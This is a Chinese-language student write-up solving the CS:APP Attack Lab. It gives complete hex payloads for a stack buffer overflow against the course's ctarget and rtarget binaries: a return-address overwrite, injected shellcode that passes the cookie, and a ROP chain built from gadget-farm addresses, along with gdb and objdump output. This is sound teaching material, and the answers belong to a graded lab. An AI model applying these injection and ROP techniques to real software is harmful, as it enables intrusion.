phase1
首先,通过这个指令生成前三个阶段要用到的ctarget的反汇编代码objdump -d ./ctarget >> target.s
其次,假设我们的输入文件是touch1.txt,那么运行这个指令就可以去验证是否是正确的./hex2raw <touch1.txt | ./ctarget -q
整理一下phase1个意思
- 它想要我们通过输入使栈溢出,并且覆盖这个函数的返回地址,使这个地址指向我们想要的函数
- 因此,我们需要从十六进制的角度构造我们的输入
- 但是题目使用的是getbuf这个函数从标准输入区读取输入,因此它是以字符串的形式来读取。
- 我们需要把我们构造出来的十六进制数据转成对应的字符串。而这个工作cmu已经帮我们做好了,就是这个程序
hex2raw
。 - 所以我们可以现在一个txt文件中写好我们的输入,然后通过上述程序将这个文件中的十六进制数据转为字符串,最后使用这个字符串作为ctarget的输入。
接下来可以正式进入解题了
整体的流程是,test函数会调用getbuf,我们需要在getbuf的函数中操作,使得getbuf不会正常返回,而是返回到touch1函数
可以发现,getbuf这个函数给自己开辟了40个字节的栈空间,因此它的返回地址其实是在第41-48个字节
因此,我们的注入应该包含48个字节
(gdb) disas getbuf
Dump of assembler code for function getbuf:0x00000000004017a8 <+0>: sub $0x28,%rsp0x00000000004017ac <+4>: mov %rsp,%rdi0x00000000004017af <+7>: callq 0x401a40 <Gets>0x00000000004017b4 <+12>: mov $0x1,%eax0x00000000004017b9 <+17>: add $0x28,%rsp0x00000000004017bd <+21>: retq
End of assembler dump.
接下来,需要找到touch1的地址,在我的这个文件里,touch1函数的起始地址是0x4017c0
(gdb) disas touch1
Dump of assembler code for function touch1:0x00000000004017c0 <+0>: sub $0x8,%rsp0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>0x00000000004017ce <+14>: mov $0x4030c5,%edi0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>0x00000000004017d8 <+24>: mov $0x1,%edi0x00000000004017dd <+29>: callq 0x401c8d <validate>0x00000000004017e2 <+34>: mov $0x0,%edi0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
End of assembler dump.
因此构造的输入应该是下面这样,前40个字节随便填,后面八个字节需要是地址,整体应该和下面一样。
其实最后八个字节到底按什么顺序写还是挺有讲究的。
首先,我们读入的内容是从栈顶到栈底一次写入,想一下内存中的栈的那个图,也就是说我们写入的东西其实从从下往上从右往左一个一个填入栈中的,因此按下面这个方式输入的话,在栈的某一层,存的应该是00 00 00 00 00 40 17 c0,乍一看这不就是我们的地址吗?说好的小端法呢?
先回忆一下小端法的定义,小端法指的是低位放在低地址处,我们这c0是低位,它放的是地址的低处吗?当然是,因为栈是从上往下递减的,虽然看着c0是放在最后面,但是其实它是低地址处。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
通过
woaixiaoxiao@LAPTOP-URFTCS5A:~/CSAPP/3_attacklab$ ./hex2raw <touch1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:user id bovikcourse 15213-f15lab attacklabresult 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
phase2
这一次就更大胆了,上次只是修改一下返回地址,使得程序转去执行已有的代码
这一次要做的事情是自己先写一段代码,然后重定向到自己写的代码中。
而自己写的汇编代码就是要调用void touch2(unsigned val)
函数,并且还得穿个参数
- 传参数就是传自己的cookie:0x59b997fa到rdi寄存器,即函数的第一个参数所在的寄存器
- 然后就是转移到touch2,这里推荐的转移方法是通过ret指令,而ret指令是从栈中弹出一个地址,所以还需要先把要去的地址压栈
首先,找到touch2的起始地址:0x00000000004017ec
然后编写汇编文件
mov $0x59b997fa,%rdi
pushq $0x00000000004017ec
retq
然后将这个汇编文件转为二进制形式:因为我们需要二进制形式。
- 将这个汇编文件变成可执行文件
gcc -c touch2.s
- 然后使用
objdump -d touch2.o
就可以获得有二进制的文件了
0000000000000000 <.text>:0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi7: 68 ec 17 40 00 pushq $0x4017ecc: c3 retq
因此,我们要输入13个字节,依次是48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
如果我们直接把这个作为输入,那么我们的程序就已经在内存中了,但是怎么去执行呢?那就要使用phase1中的重定向功能了
如果将13个字节中的48作为输入数据的开头,那么我们的程序的起始地址就是getbuf函数的栈顶,通过打断点然后查看rsp的值,发现rsp的值为0x5561dc78
至此,所有原材料都ok了,现在就是拼接成我们的输入
- 首先,重定向地址和phase1一样的输入方式
- 其次,我们写的代码,也就是48开头的那一拨,这些属于指令,指令就是从低地址开始取的,不需要考虑小端法。小端法只对数据有作用!
- 注意我们写的代码加上补充的0需要够40个字节。问就是我第一次少输入了八个字节的0
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
phase3
这一个阶段的意思是
- 首先我们依然要重定向到一个函数,这里是touch3,并且我们需要传入一个参数。这就是phase2的任务了
- 关键在于我们通过getbuf->touch3,在getbuf执行完之后,我们去执行touch3。在执行touch3的时候,getbuf函数的栈其实已经被收回了,而且在touch3中又调用了函数,所以原来getbuf的栈里的东西都不能用了。
- 而题目要求我们先把我们的字符串放到内存的某个位置,然后把这个字符串的地址作为参数传给touch3。传地址给touch3倒没啥问题,关键在于我们的字符串就不能放在getbuf的栈中了。哪里安全呢?这就是这个阶段的关键,我们要把字符串存到一个安全的内存去。
哪里的内存是安全的呢?下面是函数的调用顺序,其中getbuf函数执行之后就把空间还回去了。最安全的地方当然还是往getbuf栈帧空间的上面去。也就是test的栈帧空间 - test
- getbuf
- touch3
- hexmatch
- strncmp
首先,我的cookie是0x59b997fa,翻译为ascii码如下所示。注意:需要转为十六进制的表示。因此我这个字符串就应该是35 39 62 39 39 37 66 61 00。并且字符串也是没有字节序的概念的
字符: '5' '9' 'b' '9' '9' '7' 'f' 'a' '\0'
ASCII值: 53 57 98 57 57 55 102 97 0
十六进制: 35 39 62 39 39 37 66 61 00
通过gdb调试可以发现,test函数的栈帧从5561dca8开始,在调用getbuf之前,又向下扩展了8个字节,变成了5561dca0,而这个位置其实也就是我们之前一直偷偷放重定向函数的位置。
因此,我们的字符串应该放在5561dca8这里,其实也就是贴着重定向的地址放即可。
最终的答案如下,相比于第二阶段
- 只需要修改我们自己写的汇编代码的参数为字符串的地址
- 然后将汇编代码中touch2的地址改为touch3的地址
- 在最后面加上我们的字符串即可
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 以上为getbuf的栈帧
78 dc 61 55 00 00 00 00 // 这里的地址是5561dca0,存储的是重定向的地址
35 39 62 39 39 37 66 61 00 // 这里的地址是5561dca8,存储的是字符串
phase4
这个阶段要完成的任务和phase2是一样的,即
- 将我们的cookie传入rdi
- 将控制权移到touch2中
但是这里的比较难,因为栈中的代码不可执行
所以我们只能去已有的代码库中拼凑出我们需要的指令,一种思路是这样 - 将我们的cookie通过一个pop函数弹出到某个寄存器,因为pop函数不需要我们去指定地址,是自动从栈里弹出一个数字出来
- 然后将rdi设置为这个寄存器的值,找到一个对应的mov指令
- 上面那个指令应该以ret结尾,我们提前将touch2的地址放在栈中,这一ret,正好就跳到ret去执行了
注意点 - 这个时候栈的地址是随机的,但是我们的输入塞到栈的缓冲区之后,逻辑上依然是和之前栈地址连续一样的,只不过显示出来的值是随机的
首先,通过objdump -d rtarget > rtarget.txt
将rtarget反汇编
然后去start_farm到end_farm中去凑我们需要的指令,pop有以下这么多种,我们除了pop,还应该衔接一个ret,它的编码是0xc3,另外,我们出现0x90也是合法的,应该这玩意就是nop指令,摸鱼用的。
popq R 58 59 5a 5b 5c 5d 5e 5f
经过查找,发现了一个合适的,从4019ab开始,是58 90 c3分别代表了pop rax,nop,ret。
00000000004019a7 <addval_219>:4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax4019ad: c3 retq
如果栈中的结构如下所示,那么getbuf结束之后就会去执行4019ab处的代码,这个代码会将cookie放到rax中
- cookie
- 4019ab
- getbuf的缓冲区
那么现在就应该在cookie上面再放一个地址,这个地址可以把rax的值挪到rdi中。查表之后发现,这个操作对应的机器码是48 89 c7。经过查找,下面这个片段可以利用,将地址放在4019a2,就正好执行了mov操作时候,ret掉
00000000004019a0 <addval_273>:4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6: c3 retq
那么ret应该ret到哪呢?当然是touch2的地址,去gdb中查询之后发现,touch2的地址是0x4017ec
由此,我们的原材料已经准备好了。这时候的栈从上到下应该是
- 0x4017ec
- 0x4019a2
- cookie(0x59b997fa)
- 0x4019ab
- getbuf的缓冲区
因此,我们的输入应该是
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
运行测试程序./hex2raw <touch4.txt | ./rtarget -q
,发现成功
有个注意点,那就是我们放在栈里面的基本都是地址,虽然写起来只写了几个字节,但是完整的地址应该是八个字节的,因此构造输入的时候是需要补0的。
phase5
第五个需要的原理和第四个差不多,要完成的效果和第三个phase差不多。
关键在于栈的地址不可控,因此需要在程序中去取rsp的值,然后把字符串存在一个距离rsp固定的地方
大佬链接这位大佬写的挺好的
注意了,ret指令,是从栈中弹出一个地址,然后去执行这个地址!